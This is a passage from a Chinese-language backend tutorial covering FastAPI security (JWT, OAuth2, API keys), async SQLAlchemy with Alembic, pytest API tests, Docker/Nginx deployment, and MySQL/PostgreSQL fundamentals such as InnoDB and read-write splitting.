logger = logging.getLogger(__name__)

@asynccontextmanager
async def lifespan(app: FastAPI):
    logger.info("应用启动:初始化资源")
    # 启动时:初始化数据库连接池、预热缓存等
    yield
    logger.info("应用关闭:清理资源")
    # 关闭时:关闭连接池、清理临时文件等

app = FastAPI(
    title=settings.APP_NAME,
    version=settings.VERSION,
    lifespan=lifespan,
)

# 注册 CORS 中间件
app.add_middleware(
    CORSMiddleware,
    allow_origins=settings.ALLOWED_ORIGINS,
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

# 注册全局异常处理器
register_exception_handlers(app)

# 注册路由
app.include_router(auth.router, prefix="/auth", tags=["认证"])
app.include_router(users.router, prefix="/users", tags=["用户"])
app.include_router(articles.router, prefix="/articles", tags=["文章"])

@app.get("/health")
async def health_check():
    return {"status": "ok", "version": settings.VERSION}

日志集成

# app/utils/logger.py
import logging
import sys
from app.config import get_settings

def setup_logger(name: str) -> logging.Logger:
    settings = get_settings()
    logger = logging.getLogger(name)
    logger.setLevel(logging.DEBUG if settings.DEBUG else logging.INFO)

    # 控制台输出
    handler = logging.StreamHandler(sys.stdout)
    handler.setLevel(logging.DEBUG if settings.DEBUG else logging.INFO)

    # 日志格式
    formatter = logging.Formatter(
        "%(asctime)s | %(levelname)-8s | %(name)s:%(funcName)s:%(lineno)d | %(message)s",
        datefmt="%Y-%m-%d %H:%M:%S",
    )
    handler.setFormatter(formatter)
    logger.addHandler(handler)
    return logger

# 在各模块中使用
# from app.utils.logger import setup_logger
# logger = setup_logger(__name__)
# logger.info("用户登录成功", extra={"user_id": 123})
分层架构的好处

① 可测试——Service 层可以独立测试,不需要启动 HTTP 服务器。② 可维护——修改业务逻辑只动 Service 层,不影响路由和数据库。③ 可协作——多人开发时各写各的层,不会冲突。④ 可复用——同一个 Service 方法可以被多个路由调用。

不要过度设计

小型项目(< 10 个接口)不需要严格分层——把路由和业务逻辑放在一起就行。中型项目(10-50 个接口)建议 Router + Service 两层。大型项目(> 50 个接口)再加 Repository 层。过度分层比不分层更糟糕。

25. FastAPI 安全机制 — JWT 认证、OAuth2、API Key、CORS

安全是后端开发的生命线。FastAPI 内置了完善的安全工具——OAuth2、JWT、依赖注入让认证变得简单而安全。

一个类比

认证系统就像酒店的门禁——密码是房卡(你知道什么),JWT Token是临时通行证(你拥有什么),OAuth2是用身份证委托办理(第三方授权)。酒店前台(FastAPI)验证你的身份后,给你一张通行证(Token),之后每次进出刷卡就行。

密码哈希:bcrypt

# app/utils/security.py
from passlib.context import CryptContext
from datetime import datetime, timedelta
from jose import jwt, JWTError
from app.config import get_settings

settings = get_settings()
pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")

# 密码哈希
def hash_password(password: str) -> str:
    return pwd_context.hash(password)

# 密码验证
def verify_password(plain_password: str, hashed_password: str) -> bool:
    return pwd_context.verify(plain_password, hashed_password)

# JWT Token 生成
def create_access_token(data: dict, expires_delta: timedelta | None = None) -> str:
    to_encode = data.copy()
    expire = datetime.utcnow() + (expires_delta or timedelta(minutes=settings.ACCESS_TOKEN_EXPIRE_MINUTES))
    to_encode.update({"exp": expire})
    return jwt.encode(to_encode, settings.SECRET_KEY, algorithm=settings.ALGORITHM)

# JWT Token 验证
def decode_access_token(token: str) -> dict | None:
    try:
        payload = jwt.decode(token, settings.SECRET_KEY, algorithms=[settings.ALGORITHM])
        return payload
    except JWTError:
        return None

OAuth2 密码模式(最常用的登录方式)

# app/dependencies.py
from fastapi import Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer
from sqlalchemy.ext.asyncio import AsyncSession
from app.database import get_db
from app.utils.security import decode_access_token
from app.models.user import User

# OAuth2 方案:告诉 FastAPI token 从哪里获取
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/auth/login")

# 获取当前用户(依赖注入)
async def get_current_user(
    token: str = Depends(oauth2_scheme),
    db: AsyncSession = Depends(get_db),
) -> User:
    credentials_exception = HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="无效的认证凭据",
        headers={"WWW-Authenticate": "Bearer"},
    )

    # 解析 token
    payload = decode_access_token(token)
    if payload is None:
        raise credentials_exception

    user_id: int = payload.get("sub")
    if user_id is None:
        raise credentials_exception

    # 查询用户
    user = await db.get(User, user_id)
    if user is None:
        raise credentials_exception

    return user

# 角色权限依赖
def require_role(*roles: str):
    """工厂模式:返回一个依赖函数,检查用户是否具有指定角色"""
    async def role_checker(current_user: User = Depends(get_current_user)):
        if current_user.role not in roles:
            raise HTTPException(
                status_code=status.HTTP_403_FORBIDDEN,
                detail=f"需要以下角色之一:{', '.join(roles)}"
            )
        return current_user
    return role_checker

登录与注册接口

# app/routers/auth.py
from fastapi import APIRouter, Depends, HTTPException, status
from fastapi.security import OAuth2PasswordRequestForm
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select
from app.database import get_db
from app.models.user import User
from app.schemas.user import UserCreate, UserOut, Token
from app.utils.security import hash_password, verify_password, create_access_token
from app.dependencies import get_current_user

router = APIRouter()

@router.post("/register", response_model=UserOut, status_code=201)
async def register(user_data: UserCreate, db: AsyncSession = Depends(get_db)):
    # 检查用户名是否已存在
    existing = await db.execute(select(User).where(User.username == user_data.username))
    if existing.scalar_one_or_none():
        raise HTTPException(400, "用户名已存在")

    # 创建用户(密码哈希存储)
    user = User(
        username=user_data.username,
        email=user_data.email,
        hashed_password=hash_password(user_data.password),
    )
    db.add(user)
    await db.commit()
    await db.refresh(user)
    return user

@router.post("/login", response_model=Token)
async def login(
    form_data: OAuth2PasswordRequestForm = Depends(),  # 接收 username + password
    db: AsyncSession = Depends(get_db),
):
    # 验证用户
    result = await db.execute(select(User).where(User.username == form_data.username))
    user = result.scalar_one_or_none()

    if not user or not verify_password(form_data.password, user.hashed_password):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="用户名或密码错误",
            headers={"WWW-Authenticate": "Bearer"},
        )

    # 生成 Token
    access_token = create_access_token(data={"sub": str(user.id)})
    return {"access_token": access_token, "token_type": "bearer"}

@router.get("/me", response_model=UserOut)
async def get_me(current_user: User = Depends(get_current_user)):
    """获取当前用户信息(需要认证)"""
    return current_user

API Key 认证(适合第三方接入)

# app/dependencies.py
from fastapi import Security, HTTPException
from fastapi.security import APIKeyHeader

api_key_header = APIKeyHeader(name="X-API-Key", auto_error=False)

async def verify_api_key(api_key: str = Security(api_key_header)):
    if api_key is None:
        raise HTTPException(401, "缺少 API Key")
    # 从数据库或缓存中验证 API Key
    valid_keys = await get_valid_api_keys()
    if api_key not in valid_keys:
        raise HTTPException(403, "无效的 API Key")
    return api_key

# 使用
@router.get("/external/data")
async def get_data(api_key: str = Depends(verify_api_key)):
    return {"data": "这是需要 API Key 才能访问的数据"}
安全最佳实践

① 永远不要明文存储密码——用 bcrypt 哈希。② Token 要有有效期——推荐 30 分钟-2 小时。③ HTTPS 必须——生产环境禁止 HTTP 传输 Token。④ 敏感接口加频率限制——防止暴力破解。⑤ 日志不要记录密码和 Token——防止泄露。

OAuth2 的四种模式

① 密码模式(本章示例)——适合自有前端。② 授权码模式——适合第三方登录(GitHub、Google)。③ 客户端模式——适合服务间通信。④ 隐式模式——已不推荐,安全性差。初学者掌握密码模式即可,其他模式用到再学。

26. FastAPI 数据库集成 — SQLAlchemy 异步、Alembic 迁移、CRUD 模式

数据库是后端的核心。本章讲如何在 FastAPI 中优雅地使用 SQLAlchemy 2.0 异步模式 + Alembic 数据库迁移。

异步数据库连接

# app/database.py
from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession, async_sessionmaker
from sqlalchemy.orm import DeclarativeBase
from app.config import get_settings

settings = get_settings()

# 创建异步引擎
engine = create_async_engine(
    settings.DATABASE_URL,
    echo=settings.DEBUG,             # DEBUG 模式下打印 SQL
    pool_size=20,                    # 连接池大小
    max_overflow=10,                 # 允许额外创建的连接数
    pool_pre_ping=True,              # 使用前检测连接是否有效
)

# 创建异步 Session 工厂
AsyncSessionLocal = async_sessionmaker(
    engine,
    class_=AsyncSession,
    expire_on_commit=False,
)

# ORM 基类
class Base(DeclarativeBase):
    pass

# 依赖注入:获取数据库 Session
async def get_db():
    async with AsyncSessionLocal() as session:
        try:
            yield session
            await session.commit()
        except Exception:
            await session.rollback()
            raise
        finally:
            await session.close()

ORM 模型定义

# app/models/user.py
from sqlalchemy import Column, Integer, String, Boolean, DateTime, func
from sqlalchemy.orm import relationship
from app.database import Base

class User(Base):
    __tablename__ = "users"

    id = Column(Integer, primary_key=True, index=True)
    username = Column(String(50), unique=True, nullable=False, index=True)
    email = Column(String(100), unique=True, nullable=False, index=True)
    hashed_password = Column(String(128), nullable=False)
    is_active = Column(Boolean, default=True)
    role = Column(String(20), default="user")  # user / admin
    created_at = Column(DateTime(timezone=True), server_default=func.now())
    updated_at = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now())

    # 关系
    articles = relationship("Article", back_populates="author")

class Article(Base):
    __tablename__ = "articles"

    id = Column(Integer, primary_key=True, index=True)
    title = Column(String(200), nullable=False)
    content = Column(String, nullable=False)
    author_id = Column(Integer, ForeignKey("users.id"), nullable=False)
    is_published = Column(Boolean, default=False)
    created_at = Column(DateTime(timezone=True), server_default=func.now())

    author = relationship("User", back_populates="articles")

CRUD 操作封装

# app/services/user_service.py
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select, func
from sqlalchemy.exc import IntegrityError
from fastapi import HTTPException
from app.models.user import User
from app.schemas.user import UserCreate, UserUpdate
from app.utils.security import hash_password

class UserService:
    def __init__(self, db: AsyncSession):
        self.db = db

    async def get_user_by_id(self, user_id: int) -> User | None:
        return await self.db.get(User, user_id)

    async def get_user_by_username(self, username: str) -> User | None:
        result = await self.db.execute(select(User).where(User.username == username))
        return result.scalar_one_or_none()

    async def list_users(self, page: int = 1, size: int = 20) -> tuple[list[User], int]:
        # 总数
        count_result = await self.db.execute(select(func.count(User.id)))
        total = count_result.scalar()

        # 分页查询
        offset = (page - 1) * size
        result = await self.db.execute(
            select(User).order_by(User.id.desc()).offset(offset).limit(size)
        )
        users = result.scalars().all()
        return users, total

    async def create_user(self, data: UserCreate) -> User:
        user = User(
            username=data.username,
            email=data.email,
            hashed_password=hash_password(data.password),
        )
        self.db.add(user)
        try:
            await self.db.flush()  # 刷新到数据库(不提交)
            await self.db.refresh(user)
            return user
        except IntegrityError:
            await self.db.rollback()
            raise HTTPException(400, "用户名或邮箱已存在")

    async def update_user(self, user_id: int, data: UserUpdate) -> User:
        user = await self.get_user_by_id(user_id)
        if not user:
            raise HTTPException(404, "用户不存在")

        update_data = data.model_dump(exclude_unset=True)  # 只更新传了的字段
        if "password" in update_data:
            update_data["hashed_password"] = hash_password(update_data.pop("password"))

        for key, value in update_data.items():
            setattr(user, key, value)

        await self.db.flush()
        await self.db.refresh(user)
        return user

    async def delete_user(self, user_id: int) -> None:
        user = await self.get_user_by_id(user_id)
        if not user:
            raise HTTPException(404, "用户不存在")
        await self.db.delete(user)

路由中使用 Service

# app/routers/users.py
from fastapi import APIRouter, Depends, Query
from sqlalchemy.ext.asyncio import AsyncSession
from app.database import get_db
from app.dependencies import get_current_user, require_role
from app.schemas.user import UserCreate, UserOut, UserUpdate
from app.services.user_service import UserService

router = APIRouter()

@router.get("/", response_model=dict)
async def list_users(
    page: int = Query(1, ge=1),
    size: int = Query(20, ge=1, le=100),
    db: AsyncSession = Depends(get_db),
):
    service = UserService(db)
    users, total = await service.list_users(page, size)
    return {
        "items": [UserOut.model_validate(u) for u in users],
        "total": total,
        "page": page,
        "size": size,
    }

@router.post("/", response_model=UserOut, status_code=201)
async def create_user(data: UserCreate, db: AsyncSession = Depends(get_db)):
    service = UserService(db)
    return await service.create_user(data)

@router.get("/me", response_model=UserOut)
async def get_me(current_user = Depends(get_current_user)):
    return current_user

@router.delete("/{user_id}", status_code=204)
async def delete_user(
    user_id: int,
    admin = Depends(require_role("admin")),  # 只有管理员能删除
    db: AsyncSession = Depends(get_db),
):
    service = UserService(db)
    await service.delete_user(user_id)

Alembic 数据库迁移

# 初始化 Alembic(在项目根目录执行)
# pip install alembic
# alembic init alembic

# alembic/env.py 关键配置
from app.database import Base
from app.models import user, article  # 导入所有模型,让 Alembic 能检测到
target_metadata = Base.metadata

# 常用命令
# alembic revision --autogenerate -m "create users table"   # 自动生成迁移脚本
# alembic upgrade head                                       # 执行所有迁移
# alembic downgrade -1                                       # 回滚一步
# alembic history                                            # 查看迁移历史
# alembic current                                            # 查看当前版本
异步 vs 同步 SQLAlchemy

FastAPI + SQLAlchemy 2.0 推荐异步模式(AsyncSession + asyncpg),性能更好。但注意:异步 Session 不能在同步函数中使用——如果你的路由用 def(不是 async def),会报错。简单规则:用异步 Session 就写 async def。

常见陷阱

① 不要混用同步和异步 Session——会导致连接池耗尽。② 不要在 Session 外访问懒加载关系——会报 MissingGreenlet 错误。用 selectinload() 预加载。③ commit 后不要继续操作对象——用 expire_on_commit=False。④ 批量操作用 bulk_insert / bulk_update——逐条插入性能很差。

27. FastAPI 测试实战 — TestClient、pytest、覆盖率、Mock 依赖

测试是代码质量的保障。FastAPI 提供了基于 httpx 的 TestClient,配合 pytest 可以轻松编写 API 测试。

TestClient 基础

# tests/test_users.py
import pytest
from httpx import AsyncClient, ASGITransport
from app.main import app
from app.database import get_db, AsyncSessionLocal
from app.models.user import Base
from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession
from sqlalchemy.orm import sessionmaker

# 测试数据库配置
TEST_DATABASE_URL = "postgresql+asyncpg://user:pass@localhost:5432/test_db"
test_engine = create_async_engine(TEST_DATABASE_URL)
TestSessionLocal = sessionmaker(test_engine, class_=AsyncSession, expire_on_commit=False)

# Fixture:创建测试数据库表
@pytest.fixture(scope="session", autouse=True)
async def setup_database():
    async with test_engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)
    yield
    async with test_engine.begin() as conn:
        await conn.run_sync(Base.metadata.drop_all)

# Fixture:覆盖数据库依赖
@pytest.fixture(autouse=True)
async def override_db():
    async def get_test_db():
        async with TestSessionLocal() as session:
            try:
                yield session
                await session.commit()
            except Exception:
                await session.rollback()
                raise
    app.dependency_overrides[get_db] = get_test_db
    yield
    app.dependency_overrides.clear()

# Fixture:异步测试客户端
@pytest.fixture
async def client():
    transport = ASGITransport(app=app)
    async with AsyncClient(transport=transport, base_url="http://test") as ac:
        yield ac

# 测试用例
@pytest.mark.asyncio
async def test_register_user(client: AsyncClient):
    response = await client.post("/auth/register", json={
        "username": "testuser",
        "email": "test@example.com",
        "password": "securepassword123",
    })
    assert response.status_code == 201
    data = response.json()
    assert data["username"] == "testuser"
    assert "password" not in data  # 响应中不应包含密码

@pytest.mark.asyncio
async def test_register_duplicate_user(client: AsyncClient):
    # 第一次注册
    await client.post("/auth/register", json={
        "username": "dupuser",
        "email": "dup@example.com",
        "password": "password123",
    })
    # 第二次注册同名用户
    response = await client.post("/auth/register", json={
        "username": "dupuser",
        "email": "dup2@example.com",
        "password": "password123",
    })
    assert response.status_code == 400

@pytest.mark.asyncio
async def test_login_and_get_me(client: AsyncClient):
    # 注册
    await client.post("/auth/register", json={
        "username": "loginuser",
        "email": "login@example.com",
        "password": "password123",
    })
    # 登录
    login_resp = await client.post("/auth/login", data={
        "username": "loginuser",
        "password": "password123",
    })
    assert login_resp.status_code == 200
    token = login_resp.json()["access_token"]

    # 获取用户信息(带 Token)
    me_resp = await client.get("/auth/me", headers={
        "Authorization": f"Bearer {token}"
    })
    assert me_resp.status_code == 200
    assert me_resp.json()["username"] == "loginuser"

Mock 依赖注入

# tests/test_articles.py
import pytest
from unittest.mock import AsyncMock, patch
from app.dependencies import get_current_user
from app.models.user import User

@pytest.fixture
def mock_user():
    """模拟已登录用户"""
    return User(id=1, username="mockuser", email="mock@example.com", role="user")

@pytest.fixture
async def authenticated_client(client, mock_user):
    """带认证的测试客户端"""
    app.dependency_overrides[get_current_user] = lambda: mock_user
    yield client
    app.dependency_overrides.pop(get_current_user, None)

@pytest.mark.asyncio
async def test_create_article(authenticated_client):
    response = await authenticated_client.post("/articles/", json={
        "title": "测试文章",
        "content": "这是测试内容",
    })
    assert response.status_code == 201
    assert response.json()["title"] == "测试文章"

@pytest.mark.asyncio
async def test_unauthenticated_cannot_create(client):
    """未认证用户不能创建文章"""
    response = await client.post("/articles/", json={
        "title": "未认证的文章",
        "content": "不应该成功",
    })
    assert response.status_code == 401

测试覆盖率

# 安装:pip install pytest-cov

# 运行测试并生成覆盖率报告
# pytest --cov=app --cov-report=html --cov-report=term-missing

# 输出示例:
# ----------- coverage: platform linux -----------
# Name                     Stmts   Miss  Cover   Missing
# app/routers/users.py        45      5    89%   23-27
# app/services/user_service.py 60      8    87%   45-52
# app/dependencies.py         20      2    90%   15-16
# TOTAL                      500     50    90%

# pytest.ini 配置
# [pytest]
# asyncio_mode = auto
# testpaths = tests
# python_files = test_*.py
测试金字塔

① 单元测试(70%)——测试 Service 层的业务逻辑,不依赖数据库和网络。② 集成测试(20%)——测试 API 接口,使用测试数据库。③ 端到端测试(10%)——测试完整流程(注册→登录→操作→查询)。不要追求 100% 覆盖率——80% 以上就很好了,重点测试核心业务逻辑。

测试最佳实践

① 每个测试独立——不依赖其他测试的执行顺序。② 测试后清理数据——用事务回滚或清空表。③ 不要测试框架本身——FastAPI 自己的路由和校验不需要你测。④ Mock 外部服务——邮件、短信、第三方 API 用 Mock 替代。⑤ CI 中必须跑测试——每次 PR 合并前自动运行。

28. FastAPI 生产部署 — Uvicorn 调优、Docker、健康检查、监控

开发环境跑通只是第一步,真正上线需要考虑性能调优、容器化、健康检查、监控告警。

Uvicorn + Gunicorn 多 Worker 部署

# 单 Worker(开发环境)
uvicorn app.main:app --host 0.0.0.0 --port 8000 --reload

# 多 Worker(生产环境,推荐用 Gunicorn 管理)
# pip install gunicorn uvicorn
gunicorn app.main:app \
    --workers 4 \
    --worker-class uvicorn.workers.UvicornWorker \
    --bind 0.0.0.0:8000 \
    --timeout 120 \
    --access-logfile - \
    --error-logfile -

# Worker 数量推荐:CPU 核心数 * 2 + 1
# 4 核 CPU → 9 个 Worker

Docker 部署

# Dockerfile
FROM python:3.12-slim

WORKDIR /app

# 安装依赖(利用 Docker 缓存层)
COPY pyproject.toml poetry.lock ./
RUN pip install poetry && poetry config virtualenvs.create false && \
    poetry install --no-dev --no-interaction

# 复制代码
COPY . .

# 暴露端口
EXPOSE 8000

# 启动命令
CMD ["gunicorn", "app.main:app", \
     "--workers", "4", \
     "--worker-class", "uvicorn.workers.UvicornWorker", \
     "--bind", "0.0.0.0:8000", \
     "--timeout", "120"]
# docker-compose.yml
version: "3.8"

services:
  api:
    build: .
    ports:
      - "8000:8000"
    env_file:
      - .env
    environment:
      - DATABASE_URL=postgresql+asyncpg://user:pass@db:5432/mydb
    depends_on:
      db:
        condition: service_healthy
      redis:
        condition: service_started
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:8000/health"]
      interval: 30s
      timeout: 10s
      retries: 3

  db:
    image: postgres:16-alpine
    volumes:
      - postgres_data:/var/lib/postgresql/data
    environment:
      POSTGRES_USER: user
      POSTGRES_PASSWORD: pass
      POSTGRES_DB: mydb
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U user -d mydb"]
      interval: 10s
      timeout: 5s
      retries: 5

  redis:
    image: redis:7-alpine
    volumes:
      - redis_data:/data

  nginx:
    image: nginx:alpine
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./nginx.conf:/etc/nginx/conf.d/default.conf
      - ./ssl:/etc/nginx/ssl
    depends_on:
      - api

volumes:
  postgres_data:
  redis_data:

Nginx 反向代理配置

# nginx.conf
upstream api_backend {
    server api:8000;
}

server {
    listen 80;
    server_name yourdomain.com;
    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl http2;
    server_name yourdomain.com;

    ssl_certificate /etc/nginx/ssl/fullchain.pem;
    ssl_certificate_key /etc/nginx/ssl/privkey.pem;

    # 静态文件由 Nginx 直接服务
    location /static/ {
        alias /app/static/;
        expires 30d;
    }

    # API 请求代理到 FastAPI
    location / {
        proxy_pass http://api_backend;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        # WebSocket 支持
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";

        # 超时设置
        proxy_connect_timeout 10s;
        proxy_read_timeout 120s;
        proxy_send_timeout 120s;
    }
}

健康检查与就绪探针

# app/routers/health.py
from fastapi import APIRouter, Depends
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import text
from app.database import get_db
import redis.asyncio as redis
from app.config import get_settings

router = APIRouter()
settings = get_settings()

@router.get("/health")
async def health_check():
    """存活探针:进程是否在运行"""
    return {"status": "ok"}

@router.get("/ready")
async def readiness_check(db: AsyncSession = Depends(get_db)):
    """就绪探针:是否可以接受请求"""
    checks = {}

    # 检查数据库
    try:
        await db.execute(text("SELECT 1"))
        checks["database"] = "ok"
    except Exception as e:
        checks["database"] = f"error: {str(e)}"

    # 检查 Redis
    try:
        r = redis.from_url(settings.REDIS_URL)
        await r.ping()
        checks["redis"] = "ok"
        await r.close()
    except Exception as e:
        checks["redis"] = f"error: {str(e)}"

    # 判断整体状态
    all_ok = all(v == "ok" for v in checks.values())
    return {
        "status": "ready" if all_ok else "not_ready",
        "checks": checks,
    }

生产环境 Checklist

类别检查项说明
安全DEBUG=False生产环境关闭调试模式
安全SECRET_KEY 随机生成用 openssl rand -hex 32 生成
安全HTTPS 强制HTTP 301 重定向到 HTTPS
安全CORS 白名单只允许前端域名
性能多 WorkerGunicorn + Uvicorn,Worker 数 = CPU*2+1
性能GZip 压缩减少传输体积
性能连接池配置pool_size=20, max_overflow=10
运维健康检查/health(存活)、/ready(就绪)
运维日志结构化JSON 格式,方便 ELK 收集
运维优雅关闭收到 SIGTERM 后等待请求处理完再退出
Docker 镜像优化

① 用 slim 基础镜像——python:3.12-slim 比 python:3.12 小 60%。② 利用缓存层——先复制依赖文件,安装依赖,再复制代码。③ 多阶段构建——构建阶段和运行阶段分离。④ .dockerignore——排除不需要的文件(.git、__pycache__、tests)。⑤ 不要用 latest 栈——固定版本号。

优雅关闭(Graceful Shutdown)

当容器收到 SIGTERM 信号时(如 docker stop),应该:① 停止接受新请求。② 等待正在处理的请求完成(超时后强制终止)。③ 关闭数据库连接、Redis 连接。Gunicorn 默认处理优雅关闭,FastAPI 的 lifespan 也会在关闭时执行清理代码。确保 Docker 的 stop_grace_period 大于 Gunicorn 的 timeout。

第五部分 · 数据库核心

29. 关系型数据库 — MySQL / PostgreSQL

数据库是后端的"记忆"——用户信息、订单数据、文章内容全存在数据库里。MySQL 和 PostgreSQL 是最流行的两种关系型数据库。

MySQL vs PostgreSQL

维度MySQLPostgreSQL
定位简单、快速、可靠功能丰富、标准兼容
JSON 支持基础支持强大(JSONB 索引)
性能读密集场景优秀复杂查询更优
生态最流行,资料最多增长最快,云原生首选
推荐中小型项目、读多写少复杂业务、JSON 数据、新项目

基本 SQL 操作

-- 创建数据库和表
CREATE DATABASE mydb CHARACTER SET utf8mb4;
USE mydb;

CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL UNIQUE,
    email VARCHAR(100) NOT NULL,
    age INT DEFAULT 0,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_email (email)
);

-- CRUD
INSERT INTO users (username, email, age) VALUES ('张三', 'zhangsan@example.com', 25);
SELECT * FROM users WHERE age > 18 ORDER BY created_at DESC LIMIT 10;
UPDATE users SET age = 26 WHERE username = '张三';
DELETE FROM users WHERE id = 1;

-- 聚合
SELECT COUNT(*) as total, AVG(age) as avg_age FROM users;
SELECT age, COUNT(*) as cnt FROM users GROUP BY age HAVING cnt > 5;

Python 连接数据库

# MySQL — pymysql
import pymysql

conn = pymysql.connect(
    host='localhost', port=3306,
    user='root', password='password',
    database='mydb', charset='utf8mb4'
)
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE age > %s", (18,))
rows = cursor.fetchall()
conn.close()

# PostgreSQL — psycopg2
import psycopg2

conn = psycopg2.connect(
    host='localhost', port=5432,
    user='postgres', password='password',
    dbname='mydb'
)
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE age > %s", (18,))
rows = cursor.fetchall()
conn.close()
实际开发中很少直接写 SQL

ORM(如 SQLAlchemy、Django ORM)帮你把 Python 代码翻译成 SQL。你写 User.query.filter(User.age > 18),ORM 自动帮你生成 SELECT * FROM users WHERE age > 18。但理解 SQL 原理对排查性能问题至关重要。

JOIN 查询

-- INNER JOIN:只返回两表都匹配的行
SELECT u.username, a.title
FROM users u
INNER JOIN articles a ON u.id = a.author_id;

-- LEFT JOIN:返回左表所有行,右表不匹配则为 NULL
SELECT u.username, COUNT(a.id) as article_count
FROM users u
LEFT JOIN articles a ON u.id = a.author_id
GROUP BY u.id, u.username;

-- 多表 JOIN
SELECT u.username, a.title, c.name as category
FROM users u
INNER JOIN articles a ON u.id = a.author_id
INNER JOIN categories c ON a.category_id = c.id
WHERE a.status = 'published'
ORDER BY a.created_at DESC
LIMIT 10;

-- 子查询
-- 查询有文章的用户
SELECT * FROM users WHERE id IN (SELECT DISTINCT author_id FROM articles);

-- 查询每个用户的最新文章
SELECT u.username, a.title, a.created_at
FROM users u
INNER JOIN articles a ON u.id = a.author_id
WHERE a.created_at = (
    SELECT MAX(created_at) FROM articles WHERE author_id = u.id
);

InnoDB 存储引擎架构

# InnoDB 是 MySQL 的默认存储引擎,理解它的架构对性能优化至关重要

# ┌─────────────────────────────────────────────────────────────┐
# │                      InnoDB 内存结构                        │
# ├─────────────────────────────────────────────────────────────┤
# │  Buffer Pool(缓冲池)                                       │
# │  - 缓存数据页和索引页(减少磁盘 IO)                          │
# │  - 大小:innodb_buffer_pool_size(通常设为物理内存的 70-80%)  │
# │  - 脏页:修改后的数据页,需要刷盘                             │
# │                                                             │
# │  Change Buffer(变更缓冲)                                   │
# │  - 缓存非唯一索引的修改操作                                   │
# │  - 合并写入,减少随机 IO                                     │
# │                                                             │
# │  Log Buffer(日志缓冲)                                      │
# │  - 缓存 Redo Log,定期刷盘                                   │
# └─────────────────────────────────────────────────────────────┘

# ┌─────────────────────────────────────────────────────────────┐
# │                      InnoDB 磁盘结构                        │
# ├─────────────────────────────────────────────────────────────┤
# │  Redo Log(重做日志)                                        │
# │  - 记录数据页的物理修改(保证持久性)                          │
# │  - 循环写入,固定大小                                        │
# │  - 崩溃恢复时重放 Redo Log                                   │
# │                                                             │
# │  Undo Log(回滚日志)                                        │
# │  - 记录数据修改前的值(用于回滚和 MVCC)                      │
# │  - 事务回滚时恢复数据                                        │
# │  - 实现多版本并发控制(MVCC)                                 │
# │                                                             │
# │  Binlog(二进制日志)—— MySQL 特有                           │
# │  - 记录所有数据变更(用于主从复制和数据恢复)                   │
# │  - 三种格式:STATEMENT/ROW/MIXED                             │
# │  - Redo Log 保证 crash-safe,Binlog 保证主从同步              │
# └─────────────────────────────────────────────────────────────┘

# Buffer Pool 工作流程:
# 1. 读取数据:先查 Buffer Pool → 命中则直接返回(内存读)
# 2. 未命中:从磁盘读取数据页 → 放入 Buffer Pool → 返回
# 3. 修改数据:先修改 Buffer Pool 中的页(脏页)→ 异步刷盘
# 4. 脏页刷盘:Checkpoint 机制,定期将脏页写入磁盘

# 关键参数:
# innodb_buffer_pool_size = 8G        # Buffer Pool 大小(物理内存的 70-80%)
# innodb_log_file_size = 2G           # Redo Log 大小
# innodb_flush_log_at_trx_commit = 1  # 每次提交都刷 Redo Log(最安全)
# innodb_flush_method = O_DIRECT      # 绕过 OS 缓存,直接写磁盘

读写分离架构

# 读写分离:主库写,从库读

# ┌─────────┐     写操作     ┌─────────┐
# │  应用    │ ──────────→  │  主库    │
# └─────────┘               └─────────┘
#      │                         │
#      │ 读操作                   │ Binlog 复制
#      ↓                         ↓
# ┌─────────┐               ┌─────────┐
# │  从库    │ ←─────────── │  从库    │
# └─────────┘               └─────────┘

# SQLAlchemy 读写分离
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker

# 主库(写)
write_engine = create_engine('postgresql://user:pass@master:5432/mydb')
WriteSession = sessionmaker(bind=write_engine)

# 从库(读)
read_engine = create_engine('postgresql://user:pass@slave:5432/mydb')
ReadSession = sessionmaker(bind=read_engine)

# 自定义路由策略
class RoutingSession:
    def __init__(self):
        self._write_session = WriteSession()
        self._read_session = ReadSession()

    def get_session(self, is_write=False):
        if is_write:
            return self._write_session
        return self._read_session

# 使用示例
def create_article(data):
    session = WriteSession()  # 写操作用主库
    article = Article(**data)
    session.add(article)
    session.commit()
    return article

def get_articles():
    session = ReadSession()   # 读操作用从库
    return session.query(Article).all()

# Django 读写分离(DATABASES 配置)
DATABASES = {
    'default': {  # 主库(写)
        'ENGINE': 'django.db.backends.postgresql',
        'HOST': 'master-db',
        'NAME': 'mydb',
    },
    'replica': {  # 从库(读)
        'ENGINE': 'django.db.backends.postgresql',
        'HOST': 'slave-db',
        'NAME': 'mydb',
    },
}

# 数据库路由
class PrimaryReplicaRouter:
    def db_for_read(self, model, **hints):
        return 'replica'

    def db_for_write(self, model, **hints):
        return 'default'

连接池配置

# SQLAlchemy 连接池
from sqlalchemy import create_engine
from sqlalchemy.pool import QueuePool

engine = create_engine(
    'postgresql://user:pass@localhost/mydb',
    poolclass=QueuePool,
    pool_size=20,                                # 连接池大小
    max_overflow=10,                             # 最大溢出连接
    pool_timeout=30,                             # 获取连接超时
